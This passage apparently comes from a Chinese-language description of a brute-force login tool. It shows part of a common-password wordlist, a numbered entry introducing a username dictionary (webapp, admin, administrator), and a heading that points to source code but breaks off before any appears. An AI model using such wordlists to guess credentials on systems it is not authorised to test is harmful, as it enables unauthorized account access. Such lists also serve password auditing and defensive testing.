12345678
qwerty
111111
monkey
123123
654321
superman
qazwsx
michael
football
dragon
5.users.txt用戶名的字典webapp
admin
administrator
6.而後是最重要的源碼信息socket